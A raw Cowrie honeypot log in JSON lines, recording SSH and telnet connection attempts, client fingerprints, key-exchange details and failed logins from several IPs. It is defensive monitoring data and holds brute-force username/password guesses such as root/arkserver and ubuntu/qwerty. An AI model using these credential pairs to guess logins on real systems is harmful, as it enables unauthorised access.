{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":49770,"dst_ip":"10.17.0.5","dst_port":22,"session":"7933b01e4de6","protocol":"ssh","message":"New connection: 209.99.189.177:49770 (10.17.0.5:22) [session: 7933b01e4de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.021765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.026174Z","src_ip":"209.99.189.177","session":"7933b01e4de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.158112Z","src_ip":"209.99.189.177","session":"7933b01e4de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62653,"dst_ip":"10.17.0.5","dst_port":22,"session":"34b00402f80d","protocol":"ssh","message":"New connection: 109.91.4.177:62653 (10.17.0.5:22) [session: 34b00402f80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.527473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.532295Z","src_ip":"109.91.4.177","session":"34b00402f80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.640717Z","src_ip":"109.91.4.177","session":"34b00402f80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver","message":"login attempt [root/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:58.705948Z","src_ip":"209.99.189.177","session":"7933b01e4de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty","message":"login attempt [ubuntu/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:59.105689Z","src_ip":"109.91.4.177","session":"34b00402f80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:59.838269Z","src_ip":"209.99.189.177","session":"7933b01e4de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:00.214766Z","src_ip":"109.91.4.177","session":"34b00402f80d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":52068,"dst_ip":"10.17.0.5","dst_port":22,"session":"145deb65cabe","protocol":"ssh","message":"New connection: 103.146.202.174:52068 (10.17.0.5:22) [session: 145deb65cabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:08.426012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:08.431683Z","src_ip":"103.146.202.174","session":"145deb65cabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:08.685549Z","src_ip":"103.146.202.174","session":"145deb65cabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:09.728036Z","src_ip":"103.146.202.174","session":"145deb65cabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:10.981544Z","src_ip":"103.146.202.174","session":"145deb65cabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":36934,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8f85e9d7ffd","protocol":"ssh","message":"New connection: 103.248.120.6:36934 (10.17.0.5:22) [session: c8f85e9d7ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:35.275676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:35.280694Z","src_ip":"103.248.120.6","session":"c8f85e9d7ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:35.498605Z","src_ip":"103.248.120.6","session":"c8f85e9d7ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin...","message":"login attempt [root/admin...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:36.399763Z","src_ip":"103.248.120.6","session":"c8f85e9d7ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:37.620787Z","src_ip":"103.248.120.6","session":"c8f85e9d7ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":37336,"dst_ip":"10.17.0.5","dst_port":22,"session":"70e1a16697ed","protocol":"ssh","message":"New connection: 103.106.188.32:37336 (10.17.0.5:22) [session: 70e1a16697ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:44.537810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:44.542975Z","src_ip":"103.106.188.32","session":"70e1a16697ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:44.806876Z","src_ip":"103.106.188.32","session":"70e1a16697ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tf2server","password":"tf2","message":"login attempt [tf2server/tf2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:46.008296Z","src_ip":"103.106.188.32","session":"70e1a16697ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:47.216071Z","src_ip":"103.106.188.32","session":"70e1a16697ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61579,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b19fea655d1","protocol":"ssh","message":"New connection: 109.91.4.177:61579 (10.17.0.5:22) [session: 1b19fea655d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:55.331329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:55.336322Z","src_ip":"109.91.4.177","session":"1b19fea655d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:55.448776Z","src_ip":"109.91.4.177","session":"1b19fea655d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cuser","password":"123456","message":"login attempt [cuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:56.261902Z","src_ip":"109.91.4.177","session":"1b19fea655d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:01:57.376542Z","src_ip":"109.91.4.177","session":"1b19fea655d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":40574,"dst_ip":"10.17.0.5","dst_port":22,"session":"79bf0cbe36d0","protocol":"ssh","message":"New connection: 103.146.202.174:40574 (10.17.0.5:22) [session: 79bf0cbe36d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:09.820060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:09.825047Z","src_ip":"103.146.202.174","session":"79bf0cbe36d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:10.091813Z","src_ip":"103.146.202.174","session":"79bf0cbe36d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:11.129847Z","src_ip":"103.146.202.174","session":"79bf0cbe36d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:12.384075Z","src_ip":"103.146.202.174","session":"79bf0cbe36d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":44286,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cb3df590210","protocol":"ssh","message":"New connection: 185.48.213.208:44286 (10.17.0.5:22) [session: 9cb3df590210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:13.859656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:13.864356Z","src_ip":"185.48.213.208","session":"9cb3df590210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:13.983035Z","src_ip":"185.48.213.208","session":"9cb3df590210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz@WSX","message":"login attempt [ftpuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:14.492548Z","src_ip":"185.48.213.208","session":"9cb3df590210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:15.616052Z","src_ip":"185.48.213.208","session":"9cb3df590210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0052752494812,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:19.823082Z","src_ip":"37.52.61.49","session":"eefc3b3c4f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":53320,"dst_ip":"159.203.135.109","dst_port":23,"session":"07baaed5dc7f","protocol":"telnet","message":"New connection: 37.52.61.49:53320 (159.203.135.109:23) [session: 07baaed5dc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:20.299399Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.23","src_port":33644,"dst_ip":"10.17.0.5","dst_port":22,"session":"abdd6f64bb98","protocol":"ssh","message":"New connection: 92.118.39.23:33644 (10.17.0.5:22) [session: abdd6f64bb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:21.639282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:21.647524Z","src_ip":"92.118.39.23","session":"abdd6f64bb98","protocol":"ssh"}
